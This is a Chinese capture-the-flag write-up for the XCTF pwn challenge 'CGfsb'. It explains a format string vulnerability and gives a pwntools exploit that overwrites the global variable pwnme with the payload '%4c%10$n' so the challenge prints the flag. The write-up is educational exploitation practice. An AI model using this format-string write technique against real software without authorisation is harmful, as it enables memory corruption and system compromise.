CGfsb(xctf)
程序员文章站
2022-05-15 20:23:29
...
0x0 程序保护和流程
保护:
流程:
main()
可以明显的发现存在一个格式化字符串漏洞,然后当pwnme这个变量等于8时调用’cat flag’这个命令。又因为程序没有开启pie并且pwnme是全局变量,所以可以通过格式化字符串漏洞将pwnme这个变量改为8从而得到flag。
0x1 利用过程
首先先确定偏移量
可以发现偏移量是10,然后查看pwnme变量的地址
将pwnme的值改为8所以我们的格式化字符串应该构造为:pwnme变量的地址+’%4c%10$n’
因为32位程序中地址相当于四个字符所以我们加上’%4c’就可以向偏移量为10的位置处的地址写入8。
0x2 exp
from pwn import *
sh=remote('124.126.19.106','41326')
# sh=process('./a')
sh.recvuntil('please tell me your name:')
sh.sendline('whitehand')
payload=p32(0x0804A068)+'%4c%10$n'
sh.recvuntil('leave your message please:')
sh.sendline(payload)
sh.interactive()
上一篇: 煮咖啡要多久,咖啡爱好者了解吗
下一篇: Shell脚本快速入门(1)